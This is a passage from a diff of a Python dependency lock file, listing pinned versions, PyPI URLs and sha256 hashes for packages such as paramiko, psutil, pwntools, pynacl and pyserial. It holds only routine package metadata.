"2025-09-27T18:37:18.453Z" }, + { url = "https://files.pythonhosted.org/packages/89/c3/2e67a7ca217c6912985ec766c6393b636fb0c2344443ff9d91404dc4c79f/markupsafe-3.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1085e7fbddd3be5f89cc898938f42c0b3c711fdcb37d75221de2666af647c175", size = 12069, upload-time = "2025-09-27T18:37:19.332Z" }, + { url = "https://files.pythonhosted.org/packages/f0/00/be561dce4e6ca66b15276e184ce4b8aec61fe83662cce2f7d72bd3249d28/markupsafe-3.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b52b4fb9df4eb9ae465f8d0c228a00624de2334f216f178a995ccdcf82c4634", size = 25670, upload-time = "2025-09-27T18:37:20.245Z" }, + { url = "https://files.pythonhosted.org/packages/50/09/c419f6f5a92e5fadde27efd190eca90f05e1261b10dbd8cbcb39cd8ea1dc/markupsafe-3.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fed51ac40f757d41b7c48425901843666a6677e3e8eb0abcff09e4ba6e664f50", size = 23598, upload-time = "2025-09-27T18:37:21.177Z" }, + { url = "https://files.pythonhosted.org/packages/22/44/a0681611106e0b2921b3033fc19bc53323e0b50bc70cffdd19f7d679bb66/markupsafe-3.0.3-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f190daf01f13c72eac4efd5c430a8de82489d9cff23c364c3ea822545032993e", size = 23261, upload-time = "2025-09-27T18:37:22.167Z" }, + { url = "https://files.pythonhosted.org/packages/5f/57/1b0b3f100259dc9fffe780cfb60d4be71375510e435efec3d116b6436d43/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e56b7d45a839a697b5eb268c82a71bd8c7f6c94d6fd50c3d577fa39a9f1409f5", size = 24835, upload-time = "2025-09-27T18:37:23.296Z" }, + { url = "https://files.pythonhosted.org/packages/26/6a/4bf6d0c97c4920f1597cc14dd720705eca0bf7c787aebc6bb4d1bead5388/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:f3e98bb3798ead92273dc0e5fd0f31ade220f59a266ffd8a4f6065e0a3ce0523", size = 22733, upload-time = "2025-09-27T18:37:24.237Z" }, + { url = "https://files.pythonhosted.org/packages/14/c7/ca723101509b518797fedc2fdf79ba57f886b4aca8a7d31857ba3ee8281f/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5678211cb9333a6468fb8d8be0305520aa073f50d17f089b5b4b477ea6e67fdc", size = 23672, upload-time = "2025-09-27T18:37:25.271Z" }, + { url = "https://files.pythonhosted.org/packages/fb/df/5bd7a48c256faecd1d36edc13133e51397e41b73bb77e1a69deab746ebac/markupsafe-3.0.3-cp314-cp314t-win32.whl", hash = "sha256:915c04ba3851909ce68ccc2b8e2cd691618c4dc4c4232fb7982bca3f41fd8c3d", size = 14819, upload-time = "2025-09-27T18:37:26.285Z" }, + { url = "https://files.pythonhosted.org/packages/1a/8a/0402ba61a2f16038b48b39bccca271134be00c5c9f0f623208399333c448/markupsafe-3.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4faffd047e07c38848ce017e8725090413cd80cbc23d86e55c587bf979e579c9", size = 15426, upload-time = "2025-09-27T18:37:27.316Z" }, + { url = "https://files.pythonhosted.org/packages/70/bc/6f1c2f612465f5fa89b95bead1f44dcb607670fd42891d8fdcd5d039f4f4/markupsafe-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40fa", size = 14146, upload-time = "2025-09-27T18:37:28.327Z" }, +] + +[[package]] +name = "packaging" +version = "26.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d7/f1/e7a6dd94a8d4a5626c03e4e99c87f241ba9e350cd9e6d75123f992427270/packaging-26.2.tar.gz", hash = "sha256:ff452ff5a3e828ce110190feff1178bb1f2ea2281fa2075aadb987c2fb221661", size = 228134, upload-time = "2026-04-24T20:15:23.917Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/df/b2/87e62e8c3e2f4b32e5fe99e0b86d576da1312593b39f47d8ceef365e95ed/packaging-26.2-py3-none-any.whl", hash = "sha256:5fc45236b9446107ff2415ce77c807cee2862cb6fac22b8a73826d0693b0980e", size = 100195, upload-time = "2026-04-24T20:15:22.081Z" }, +] + +[[package]] +name = "paramiko" +version = "5.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "bcrypt" }, + { name = "cryptography" }, + { name = "invoke" }, + { name = "pynacl" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/62/93/dcc25d52f49022ae6175d15e6bd751f1acc99b98bc61fc55e5155a7be2e7/paramiko-5.0.0.tar.gz", hash = "sha256:36763b5b95c2a0dcfdf1abc48e48156ee425b21efe2f0e787c2dd5a95c0e5e79", size = 1548586, upload-time = "2026-05-09T18:28:52.256Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/82/5b/eadf6d45de38d30ab603f49393b6cd2cbe7e233af8cf90197e32782b68a9/paramiko-5.0.0-py3-none-any.whl", hash = "sha256:b7044611c30140d9a75261653210e2002977b71a0497ff3ba0d98d7edbf62f7c", size = 208919, upload-time = "2026-05-09T18:28:50.295Z" }, +] + +[[package]] +name = "pip" +version = "26.1.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/01/91/47e7d486260f618783899587af63ccf7980fb60245c3e63dd4571c6b57ad/pip-26.1.2.tar.gz", hash = "sha256:f49cd134c61cf2fd75e0ce2676db03e4054504a5a4986d00f8299ae632dc4605", size = 1840799, upload-time = "2026-05-31T17:33:58.56Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5d/95/6b5cb3461ea5673ba0995989746db58eb18b91b54dbf331e72f569540946/pip-26.1.2-py3-none-any.whl", hash = "sha256:382ff9f685ee3bc25864f820aa50505825f10f5458ffff07e30a6d96e5715cab", size = 1813144, upload-time = "2026-05-31T17:33:56.772Z" }, +] + +[[package]] +name = "plumbum" +version = "2.0.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/0c/6a/1d1b143420fcdfc8902f2db6b7d1d2325211461c5f2a43c849de7afad688/plumbum-2.0.1.tar.gz", hash = "sha256:61623f856dcb09eb20dcd5aa708dfb3cd04b6f4ab10224d39303b163bb1c4c61", size = 377668, upload-time = "2026-06-08T14:44:06.17Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/59/2d/d741fbbbcba7eb6f9f1a829373c558114d59cb882b95f941aa0dc060861f/plumbum-2.0.1-py3-none-any.whl", hash = "sha256:27a454980f91689aae8f18242a36daaf2636219171cf0e6a849744aa1d6fff85", size = 164460, upload-time = "2026-06-08T14:44:04.75Z" }, +] + +[[package]] +name = "psutil" +version = "7.2.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/aa/c6/d1ddf4abb55e93cebc4f2ed8b5d6dbad109ecb8d63748dd2b20ab5e57ebe/psutil-7.2.2.tar.gz", hash = "sha256:0746f5f8d406af344fd547f1c8daa5f5c33dbc293bb8d6a16d80b4bb88f59372", size = 493740, upload-time = "2026-01-28T18:14:54.428Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/51/08/510cbdb69c25a96f4ae523f733cdc963ae654904e8db864c07585ef99875/psutil-7.2.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:2edccc433cbfa046b980b0df0171cd25bcaeb3a68fe9022db0979e7aa74a826b", size = 130595, upload-time = "2026-01-28T18:14:57.293Z" }, + { url = "https://files.pythonhosted.org/packages/d6/f5/97baea3fe7a5a9af7436301f85490905379b1c6f2dd51fe3ecf24b4c5fbf/psutil-7.2.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:e78c8603dcd9a04c7364f1a3e670cea95d51ee865e4efb3556a3a63adef958ea", size = 131082, upload-time = "2026-01-28T18:14:59.732Z" }, + { url = "https://files.pythonhosted.org/packages/37/d6/246513fbf9fa174af531f28412297dd05241d97a75911ac8febefa1a53c6/psutil-7.2.2-cp313-cp313t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1a571f2330c966c62aeda00dd24620425d4b0cc86881c89861fbc04549e5dc63", size = 181476, upload-time = "2026-01-28T18:15:01.884Z" }, + { url = "https://files.pythonhosted.org/packages/b8/b5/9182c9af3836cca61696dabe4fd1304e17bc56cb62f17439e1154f225dd3/psutil-7.2.2-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:917e891983ca3c1887b4ef36447b1e0873e70c933afc831c6b6da078ba474312", size = 184062, upload-time = "2026-01-28T18:15:04.436Z" }, + { url = "https://files.pythonhosted.org/packages/16/ba/0756dca669f5a9300d0cbcbfae9a4c30e446dfc7440ffe43ded5724bfd93/psutil-7.2.2-cp313-cp313t-win_amd64.whl", hash = "sha256:ab486563df44c17f5173621c7b198955bd6b613fb87c71c161f827d3fb149a9b", size = 139893, upload-time = "2026-01-28T18:15:06.378Z" }, + { url = "https://files.pythonhosted.org/packages/1c/61/8fa0e26f33623b49949346de05ec1ddaad02ed8ba64af45f40a147dbfa97/psutil-7.2.2-cp313-cp313t-win_arm64.whl", hash = "sha256:ae0aefdd8796a7737eccea863f80f81e468a1e4cf14d926bd9b6f5f2d5f90ca9", size = 135589, upload-time = "2026-01-28T18:15:08.03Z" }, + { url = "https://files.pythonhosted.org/packages/81/69/ef179ab5ca24f32acc1dac0c247fd6a13b501fd5534dbae0e05a1c48b66d/psutil-7.2.2-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:eed63d3b4d62449571547b60578c5b2c4bcccc5387148db46e0c2313dad0ee00", size = 130664, upload-time = "2026-01-28T18:15:09.469Z" }, + { url = "https://files.pythonhosted.org/packages/7b/64/665248b557a236d3fa9efc378d60d95ef56dd0a490c2cd37dafc7660d4a9/psutil-7.2.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7b6d09433a10592ce39b13d7be5a54fbac1d1228ed29abc880fb23df7cb694c9", size = 131087, upload-time = "2026-01-28T18:15:11.724Z" }, + { url = "https://files.pythonhosted.org/packages/d5/2e/e6782744700d6759ebce3043dcfa661fb61e2fb752b91cdeae9af12c2178/psutil-7.2.2-cp314-cp314t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1fa4ecf83bcdf6e6c8f4449aff98eefb5d0604bf88cb883d7da3d8d2d909546a", size = 182383, upload-time = "2026-01-28T18:15:13.445Z" }, + { url = "https://files.pythonhosted.org/packages/57/49/0a41cefd10cb7505cdc04dab3eacf24c0c2cb158a998b8c7b1d27ee2c1f5/psutil-7.2.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e452c464a02e7dc7822a05d25db4cde564444a67e58539a00f929c51eddda0cf", size = 185210, upload-time = "2026-01-28T18:15:16.002Z" }, + { url = "https://files.pythonhosted.org/packages/dd/2c/ff9bfb544f283ba5f83ba725a3c5fec6d6b10b8f27ac1dc641c473dc390d/psutil-7.2.2-cp314-cp314t-win_amd64.whl", hash = "sha256:c7663d4e37f13e884d13994247449e9f8f574bc4655d509c3b95e9ec9e2b9dc1", size = 141228, upload-time = "2026-01-28T18:15:18.385Z" }, + { url = "https://files.pythonhosted.org/packages/f2/fc/f8d9c31db14fcec13748d373e668bc3bed94d9077dbc17fb0eebc073233c/psutil-7.2.2-cp314-cp314t-win_arm64.whl", hash = "sha256:11fe5a4f613759764e79c65cf11ebdf26e33d6dd34336f8a337aa2996d71c841", size = 136284, upload-time = "2026-01-28T18:15:19.912Z" }, + { url = "https://files.pythonhosted.org/packages/e7/36/5ee6e05c9bd427237b11b3937ad82bb8ad2752d72c6969314590dd0c2f6e/psutil-7.2.2-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:ed0cace939114f62738d808fdcecd4c869222507e266e574799e9c0faa17d486", size = 129090, upload-time = "2026-01-28T18:15:22.168Z" }, + { url = "https://files.pythonhosted.org/packages/80/c4/f5af4c1ca8c1eeb2e92ccca14ce8effdeec651d5ab6053c589b074eda6e1/psutil-7.2.2-cp36-abi3-macosx_11_0_arm64.whl", hash = "sha256:1a7b04c10f32cc88ab39cbf606e117fd74721c831c98a27dc04578deb0c16979", size = 129859, upload-time = "2026-01-28T18:15:23.795Z" }, + { url = "https://files.pythonhosted.org/packages/b5/70/5d8df3b09e25bce090399cf48e452d25c935ab72dad19406c77f4e828045/psutil-7.2.2-cp36-abi3-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:076a2d2f923fd4821644f5ba89f059523da90dc9014e85f8e45a5774ca5bc6f9", size = 155560, upload-time = "2026-01-28T18:15:25.976Z" }, + { url = "https://files.pythonhosted.org/packages/63/65/37648c0c158dc222aba51c089eb3bdfa238e621674dc42d48706e639204f/psutil-7.2.2-cp36-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b0726cecd84f9474419d67252add4ac0cd9811b04d61123054b9fb6f57df6e9e", size = 156997, upload-time = "2026-01-28T18:15:27.794Z" }, + { url = "https://files.pythonhosted.org/packages/8e/13/125093eadae863ce03c6ffdbae9929430d116a246ef69866dad94da3bfbc/psutil-7.2.2-cp36-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:fd04ef36b4a6d599bbdb225dd1d3f51e00105f6d48a28f006da7f9822f2606d8", size = 148972, upload-time = "2026-01-28T18:15:29.342Z" }, + { url = "https://files.pythonhosted.org/packages/04/78/0acd37ca84ce3ddffaa92ef0f571e073faa6d8ff1f0559ab1272188ea2be/psutil-7.2.2-cp36-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b58fabe35e80b264a4e3bb23e6b96f9e45a3df7fb7eed419ac0e5947c61e47cc", size = 148266, upload-time = "2026-01-28T18:15:31.597Z" }, + { url = "https://files.pythonhosted.org/packages/b4/90/e2159492b5426be0c1fef7acba807a03511f97c5f86b3caeda6ad92351a7/psutil-7.2.2-cp37-abi3-win_amd64.whl", hash = "sha256:eb7e81434c8d223ec4a219b5fc1c47d0417b12be7ea866e24fb5ad6e84b3d988", size = 137737, upload-time = "2026-01-28T18:15:33.849Z" }, + { url = "https://files.pythonhosted.org/packages/8c/c7/7bb2e321574b10df20cbde462a94e2b71d05f9bbda251ef27d104668306a/psutil-7.2.2-cp37-abi3-win_arm64.whl", hash = "sha256:8c233660f575a5a89e6d4cb65d9f938126312bca76d8fe087b947b3a1aaac9ee", size = 134617, upload-time = "2026-01-28T18:15:36.514Z" }, +] + +[[package]] +name = "pwn" +version = "1.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pwntools" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/18/fb/af6cd30af83f85a312cc92eb5187a7ae5ce76236c1f2dc0cf8f673f53d63/pwn-1.0.tar.gz", hash = "sha256:c3314be15714cd51e77b62643cc03c397db4f6817a441d894e2fe84fed777c17", size = 1131, upload-time = "2014-09-22T17:21:27.944Z" } + +[[package]] +name = "pwntools" +version = "4.15.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "capstone" }, + { name = "colored-traceback" }, + { name = "intervaltree" }, + { name = "mako" }, + { name = "packaging" }, + { name = "paramiko" }, + { name = "pip" }, + { name = "psutil" }, + { name = "pyelftools" }, + { name = "pygments" }, + { name = "pyserial" }, + { name = "pysocks" }, + { name = "python-dateutil" }, + { name = "requests" }, + { name = "ropgadget" }, + { name = "rpyc" }, + { name = "six" }, + { name = "sortedcontainers" }, + { name = "unicorn" }, + { name = "unix-ar" }, + { name = "zstandard" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f2/5c/9ae3d94c98b0b038ffd7f09ebdac506d346fe1b964999f71c96c8a904efd/pwntools-4.15.0.tar.gz", hash = "sha256:d99a917298c1ca7241b51bba9ad2212f2af441ef66488059b2426508e9a2a776", size = 5627629, upload-time = "2025-10-12T15:25:28.931Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/87/03/b5aab57706d61c65aaf6ed181727e7621c7cf32109b22245ac04f1c76094/pwntools-4.15.0-py2.py3-none-any.whl", hash = "sha256:f5508729b310ef1e959ad324306a0964cb6f2b04a34247484e446f0343eefc5c", size = 12873439, upload-time = "2025-10-12T15:25:25.38Z" }, +] + +[[package]] +name = "pycparser" +version = "3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/1b/7d/92392ff7815c21062bea51aa7b87d45576f649f16458d78b7cf94b9ab2e6/pycparser-3.0.tar.gz", hash = "sha256:600f49d217304a5902ac3c37e1281c9fe94e4d0489de643a9504c5cdfdfc6b29", size = 103492, upload-time = "2026-01-21T14:26:51.89Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0c/c3/44f3fbbfa403ea2a7c779186dc20772604442dde72947e7d01069cbe98e3/pycparser-3.0-py3-none-any.whl", hash = "sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992", size = 48172, upload-time = "2026-01-21T14:26:50.693Z" }, +] + +[[package]] +name = "pyelftools" +version = "0.33" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a3/11/767522582afab1b884d277de0e6e011640cb9d7292a38694b4b1a1df1ae8/pyelftools-0.33.tar.gz", hash = "sha256:660d82dcbeb8e83d1702bd97f223f761625da06111c0cc988eac6b8ab0c1b61f", size = 15068655, upload-time = "2026-05-29T12:56:22.553Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/46/2a/f9697576603dae937727827505a6126a066affb227034e77e6f9068910da/pyelftools-0.33-py3-none-any.whl", hash = "sha256:f215ad5f47d3f1373a21496a6c9e0707c622840d0622f23ff7ce08678b020036", size = 201178, upload-time = "2026-05-29T12:56:20.587Z" }, +] + +[[package]] +name = "pygments" +version = "2.20.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c3/b2/bc9c9196916376152d655522fdcebac55e66de6603a76a02bca1b6414f6c/pygments-2.20.0.tar.gz", hash = "sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f", size = 4955991, upload-time = "2026-03-29T13:29:33.898Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f4/7e/a72dd26f3b0f4f2bf1dd8923c85f7ceb43172af56d63c7383eb62b332364/pygments-2.20.0-py3-none-any.whl", hash = "sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176", size = 1231151, upload-time = "2026-03-29T13:29:30.038Z" }, +] + +[[package]] +name = "pynacl" +version = "1.6.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cffi", marker = "platform_python_implementation != 'PyPy'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/d9/9a/4019b524b03a13438637b11538c82781a5eda427394380381af8f04f467a/pynacl-1.6.2.tar.gz", hash = "sha256:018494d6d696ae03c7e656e5e74cdfd8ea1326962cc401bcf018f1ed8436811c", size = 3511692, upload-time = "2026-01-01T17:48:10.851Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4b/79/0e3c34dc3c4671f67d251c07aa8eb100916f250ee470df230b0ab89551b4/pynacl-1.6.2-cp314-cp314t-macosx_10_10_universal2.whl", hash = "sha256:622d7b07cc5c02c666795792931b50c91f3ce3c2649762efb1ef0d5684c81594", size = 390064, upload-time = "2026-01-01T17:31:57.264Z" }, + { url = "https://files.pythonhosted.org/packages/eb/1c/23a26e931736e13b16483795c8a6b2f641bf6a3d5238c22b070a5112722c/pynacl-1.6.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d071c6a9a4c94d79eb665db4ce5cedc537faf74f2355e4d502591d850d3913c0", size = 809370, upload-time = "2026-01-01T17:31:59.198Z" }, + { url = "https://files.pythonhosted.org/packages/87/74/8d4b718f8a22aea9e8dcc8b95deb76d4aae380e2f5b570cc70b5fd0a852d/pynacl-1.6.2-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fe9847ca47d287af41e82be1dd5e23023d3c31a951da134121ab02e42ac218c9", size = 1408304, upload-time = "2026-01-01T17:32:01.162Z" }, + { url = "https://files.pythonhosted.org/packages/fd/73/be4fdd3a6a87fe8a4553380c2b47fbd1f7f58292eb820902f5c8ac7de7b0/pynacl-1.6.2-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:04316d1fc625d860b6c162fff704eb8426b1a8bcd3abacea11142cbd99a6b574", size = 844871, upload-time = "2026-01-01T17:32:02.824Z" }, + { url = "https://files.pythonhosted.org/packages/55/ad/6efc57ab75ee4422e96b5f2697d51bbcf6cdcc091e66310df91fbdc144a8/pynacl-1.6.2-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:44081faff368d6c5553ccf55322ef2819abb40e25afaec7e740f159f74813634", size = 1446356, upload-time = "2026-01-01T17:32:04.452Z" }, + { url = "https://files.pythonhosted.org/packages/78/b7/928ee9c4779caa0a915844311ab9fb5f99585621c5d6e4574538a17dca07/pynacl-1.6.2-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:a9f9932d8d2811ce1a8ffa79dcbdf3970e7355b5c8eb0c1a881a57e7f7d96e88", size = 826814, upload-time = "2026-01-01T17:32:06.078Z" }, + { url = "https://files.pythonhosted.org/packages/f7/a9/1bdba746a2be20f8809fee75c10e3159d75864ef69c6b0dd168fc60e485d/pynacl-1.6.2-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:bc4a36b28dd72fb4845e5d8f9760610588a96d5a51f01d84d8c6ff9849968c14", size = 1411742, upload-time = "2026-01-01T17:32:07.651Z" }, + { url = "https://files.pythonhosted.org/packages/f3/2f/5e7ea8d85f9f3ea5b6b87db1d8388daa3587eed181bdeb0306816fdbbe79/pynacl-1.6.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:3bffb6d0f6becacb6526f8f42adfb5efb26337056ee0831fb9a7044d1a964444", size = 801714, upload-time = "2026-01-01T17:32:09.558Z" }, + { url = "https://files.pythonhosted.org/packages/06/ea/43fe2f7eab5f200e40fb10d305bf6f87ea31b3bbc83443eac37cd34a9e1e/pynacl-1.6.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:2fef529ef3ee487ad8113d287a593fa26f48ee3620d92ecc6f1d09ea38e0709b", size = 1372257, upload-time = "2026-01-01T17:32:11.026Z" }, + { url = "https://files.pythonhosted.org/packages/4d/54/c9ea116412788629b1347e415f72195c25eb2f3809b2d3e7b25f5c79f13a/pynacl-1.6.2-cp314-cp314t-win32.whl", hash = "sha256:a84bf1c20339d06dc0c85d9aea9637a24f718f375d861b2668b2f9f96fa51145", size = 231319, upload-time = "2026-01-01T17:32:12.46Z" }, + { url = "https://files.pythonhosted.org/packages/ce/04/64e9d76646abac2dccf904fccba352a86e7d172647557f35b9fe2a5ee4a1/pynacl-1.6.2-cp314-cp314t-win_amd64.whl", hash = "sha256:320ef68a41c87547c91a8b58903c9caa641ab01e8512ce291085b5fe2fcb7590", size = 244044, upload-time = "2026-01-01T17:32:13.781Z" }, + { url = "https://files.pythonhosted.org/packages/33/33/7873dc161c6a06f43cda13dec67b6fe152cb2f982581151956fa5e5cdb47/pynacl-1.6.2-cp314-cp314t-win_arm64.whl", hash = "sha256:d29bfe37e20e015a7d8b23cfc8bd6aa7909c92a1b8f41ee416bbb3e79ef182b2", size = 188740, upload-time = "2026-01-01T17:32:15.083Z" }, + { url = "https://files.pythonhosted.org/packages/be/7b/4845bbf88e94586ec47a432da4e9107e3fc3ce37eb412b1398630a37f7dd/pynacl-1.6.2-cp38-abi3-macosx_10_10_universal2.whl", hash = "sha256:c949ea47e4206af7c8f604b8278093b674f7c79ed0d4719cc836902bf4517465", size = 388458, upload-time = "2026-01-01T17:32:16.829Z" }, + { url = "https://files.pythonhosted.org/packages/1e/b4/e927e0653ba63b02a4ca5b4d852a8d1d678afbf69b3dbf9c4d0785ac905c/pynacl-1.6.2-cp38-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:8845c0631c0be43abdd865511c41eab235e0be69c81dc66a50911594198679b0", size = 800020, upload-time = "2026-01-01T17:32:18.34Z" }, + { url = "https://files.pythonhosted.org/packages/7f/81/d60984052df5c97b1d24365bc1e30024379b42c4edcd79d2436b1b9806f2/pynacl-1.6.2-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:22de65bb9010a725b0dac248f353bb072969c94fa8d6b1f34b87d7953cf7bbe4", size = 1399174, upload-time = "2026-01-01T17:32:20.239Z" }, + { url = "https://files.pythonhosted.org/packages/68/f7/322f2f9915c4ef27d140101dd0ed26b479f7e6f5f183590fd32dfc48c4d3/pynacl-1.6.2-cp38-abi3-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:46065496ab748469cdd999246d17e301b2c24ae2fdf739132e580a0e94c94a87", size = 835085, upload-time = "2026-01-01T17:32:22.24Z" }, + { url = "https://files.pythonhosted.org/packages/3e/d0/f301f83ac8dbe53442c5a43f6a39016f94f754d7a9815a875b65e218a307/pynacl-1.6.2-cp38-abi3-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8a66d6fb6ae7661c58995f9c6435bda2b1e68b54b598a6a10247bfcdadac996c", size = 1437614, upload-time = "2026-01-01T17:32:23.766Z" }, + { url = "https://files.pythonhosted.org/packages/c4/58/fc6e649762b029315325ace1a8c6be66125e42f67416d3dbd47b69563d61/pynacl-1.6.2-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:26bfcd00dcf2cf160f122186af731ae30ab120c18e8375684ec2670dccd28130", size = 818251, upload-time = "2026-01-01T17:32:25.69Z" }, + { url = "https://files.pythonhosted.org/packages/c9/a8/b917096b1accc9acd878819a49d3d84875731a41eb665f6ebc826b1af99e/pynacl-1.6.2-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:c8a231e36ec2cab018c4ad4358c386e36eede0319a0c41fed24f840b1dac59f6", size = 1402859, upload-time = "2026-01-01T17:32:27.215Z" }, + { url = "https://files.pythonhosted.org/packages/85/42/fe60b5f4473e12c72f977548e4028156f4d340b884c635ec6b063fe7e9a5/pynacl-1.6.2-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:68be3a09455743ff9505491220b64440ced8973fe930f270c8e07ccfa25b1f9e", size = 791926, upload-time = "2026-01-01T17:32:29.314Z" }, + { url = "https://files.pythonhosted.org/packages/fa/f9/e40e318c604259301cc091a2a63f237d9e7b424c4851cafaea4ea7c4834e/pynacl-1.6.2-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:8b097553b380236d51ed11356c953bf8ce36a29a3e596e934ecabe76c985a577", size = 1363101, upload-time = "2026-01-01T17:32:31.263Z" }, + { url = "https://files.pythonhosted.org/packages/48/47/e761c254f410c023a469284a9bc210933e18588ca87706ae93002c05114c/pynacl-1.6.2-cp38-abi3-win32.whl", hash = "sha256:5811c72b473b2f38f7e2a3dc4f8642e3a3e9b5e7317266e4ced1fba85cae41aa", size = 227421, upload-time = "2026-01-01T17:32:33.076Z" }, + { url = "https://files.pythonhosted.org/packages/41/ad/334600e8cacc7d86587fe5f565480fde569dfb487389c8e1be56ac21d8ac/pynacl-1.6.2-cp38-abi3-win_amd64.whl", hash = "sha256:62985f233210dee6548c223301b6c25440852e13d59a8b81490203c3227c5ba0", size = 239754, upload-time = "2026-01-01T17:32:34.557Z" }, + { url = "https://files.pythonhosted.org/packages/29/7d/5945b5af29534641820d3bd7b00962abbbdfee84ec7e19f0d5b3175f9a31/pynacl-1.6.2-cp38-abi3-win_arm64.whl", hash = "sha256:834a43af110f743a754448463e8fd61259cd4ab5bbedcf70f9dabad1d28a394c", size = 184801, upload-time = "2026-01-01T17:32:36.309Z" }, +] + +[[package]] +name = "pyserial" +version = "3.5" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/1e/7d/ae3f0a63f41e4d2f6cb66a5b57197850f919f59e558159a4dd3a818f5082/pyserial-3.5.tar.gz", hash = "sha256:3c77e014170dfffbd816e6ffc205e9842efb10be9f58ec16d3e8675b4925cddb", size = 159125, upload-time = "2020-11-23T03:59:15.045Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/07/bc/587a445451b253b285629263eb51c2d8e9bcea4fc97826266d186f96f558/pyserial-3.5-py2.py3-none-any.whl", hash = "sha256:c4451db6ba391ca6ca299fb3ec7bae67a5c55dde170964c7a14ceefec02f2cf0", size = 90585, upload-time = "2020-11-23T03:59:13.41Z" }, +] + +[[package]] +name = "pysocks" +version = "1.7.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/bd/11/293dd436aea955d45fc4e8a35b6ae7270f5b8e00b53cf6c024c83b657a11/PySocks-1.7.1.tar.gz", hash = "sha256:3f8804571ebe159c380ac6de37643bb4685970655d3bba243530d6558b799aa0", size = 284429, upload-time = "2019-09-20T02:07:35.714Z" } +wheels = [ + { url = 